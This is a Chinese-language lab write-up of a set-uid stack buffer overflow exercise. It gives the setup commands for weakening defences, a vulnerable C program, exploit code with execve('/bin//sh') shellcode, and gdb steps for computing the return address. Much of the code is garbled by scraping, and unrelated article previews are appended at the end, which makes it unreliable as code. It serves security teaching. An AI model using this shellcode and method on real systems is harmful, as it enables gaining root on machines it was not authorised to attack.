緩衝區溢位是指當計算機向緩衝區內填充資料位數時超過了緩衝區本身的容量溢位的資料在合法資料上,理想的情況是程式檢查資料長度並不允許輸入超過緩衝區長度的字元,但是絕大多數程式都會假設資料長度總是與所分配的儲存空間相匹配,這就為緩衝區溢位埋下隱患,作業系統所使用的緩衝區,又被稱為"堆疊"。在各個操作程序之間,指令會被臨時儲存在"堆疊"當中,"堆疊"也會出現緩衝區溢位。
通過往程式的緩衝區寫超出其長度的內容,造成緩衝區的溢位,從而破壞程式的堆疊,使程式轉而執行其它指令,以達到攻擊的目的。造成緩衝區溢位的原因是程式中沒有仔細檢查使用者輸入的引數。
這也是稍後做題的突破原理,緩衝區漏洞普遍並且易於實現,緩衝區溢位成為遠端攻擊的主要手段其原因在於緩衝區溢位漏洞給予了攻擊者他所想要的一切:植入並且執行攻擊**。被植入的攻擊**以一定的許可權執行有緩衝區溢位漏洞的程式,從而得到被攻擊主機的控制權。
大多數的緩衝溢位攻擊都是通過改變程式執行的流程到入侵者植入的惡意**,其主要目的是為了獲取超級使用者的shell。
原理相當簡單:將惡意指令存放在buffer中,這段指令可以得到 程序的控制權,從而達到攻擊的目的。
二、實驗樓實驗
2.初始設定
關閉位址隨機化:ubuntu 和其他一些 linux 系統中,使用位址空間隨機化來隨機堆(heap)和棧(stack)的初始位址,這使得猜測準確的記憶體位址變得十分困難,而猜測記憶體位址是緩衝區溢位攻擊的關鍵。
因此本次實驗中,我們使用以下命令關閉這一功能:
此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙乙個 set-uid 程式呼叫乙個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在/bin/bash
中實現
sudo su進入32位linux環境:cd /bin
rm sh
ln -s zsh sh
exit
3.漏洞程式
在/tmp
目錄下新建乙個stack.c
檔案:
cd /tmpstack.cvim stack.c
#include #include編譯該程式及設定 set-uid:gcc編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯**時需要用#include
int bof(char *str)
int main(int argc, char **ar**)
–fno-stack-protector
關閉這種機制。 而-z execstack
用於允許執行棧。
4.攻擊程式
我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得root
許可權。
在/tmp
目錄下新建乙個exploit.c
檔案,輸入如下內容:
#include #include#include
char shellcode =
"\x31\xc0"//
xorl %eax,%eax
"\x50"//
pushl %eax
"\x68
""//sh"//
pushl $0x68732f2f
"\x68
""/bin"//
pushl $0x6e69622f
"\x89\xe3"//
movl %esp,%ebx
"\x50"//
pushl %eax
"\x53"//
pushl %ebx
"\x89\xe1"//
movl %esp,%ecx
"\x99"//
cdq"
\xb0\x0b"//
movb $0x0b,%al
"\xcd\x80"//
int $0x80
;void main(int argc, char **ar**)
ps:
\x??\x??\x??\x??
處需要添上shellcode
儲存在記憶體中的位址,因為發生溢位後這個位置剛好可以覆蓋返回位址。
gdb除錯:
gdb stackesp 中就是 str 的起始位址,所以我們在位址disass main
0x080484ee
處設定斷點.
設定斷點:
# 設定斷點根據語句
strcpy(buffer + 100,shellcode);
我們計算shellcode
的位址為0xffffcfb0
+0x64
=0xffffd014。
現在修改exploit.c
檔案,將\x??\x??\x??\x??
修改為計算的結果\x14\xd0\xff\xff
,注意順序是反的。5.攻擊結果
三、實驗體會
通過這次實驗樓的實驗,讓我親歷了一次緩衝區溢位的操作,打實地編寫漏洞檔案,觀察檔案執行中的棧,再通過攻擊檔案溢位覆蓋緩衝區的返回位址,達到實現攻擊效果,獲取更高許可權的目的。這個過程,讓我在學習理論知識的基礎上,通過實際操作,豐富了對緩衝區溢位攻擊的理解,讓我們在以後面對此類攻擊能做出相應的防範。
緩衝區溢位
緩衝區溢位是指當電腦程式向緩衝區內填充的資料位數超過了緩衝區本身的容量。溢位的資料覆蓋在合法資料上。理想情況是,程式檢查資料長度並且不允許輸入超過緩衝區長度的字串。但是絕大多數程式都會假設資料長度總是與所分配的儲存空間相匹配,這就為緩衝區溢位埋下隱患。作業系統所使用的緩衝區又被稱為堆疊,在各個操作程...
緩衝區溢位
緩衝區溢位,簡單的說就是計算機對接收的輸入資料沒有進行有效的檢測 理想的情況是程式檢查資料長度並不允許輸入超過緩衝區長度的字元 向緩衝區內填充資料時超過了緩衝區本身的容量,而導致資料溢位到被分配空間之外的記憶體空間,使得溢位的資料覆蓋了其他記憶體空間的資料。通過往程式的緩衝區寫超出其長度的內容,造成...
緩衝區溢位 棧溢位
1 緩衝區概念 緩衝區 buffer 又稱為快取,它是記憶體空間的一部分。也就是說,在記憶體空間中預留了一定的儲存空間,這些儲存空間用來緩衝輸入或輸出的資料,這部分預留的空間就叫做緩衝區。使用緩衝區有兩個好處 1 減少實際物理讀寫次數 2 緩衝區在建立時就被分配記憶體,這塊記憶體區域一直被重用,可以...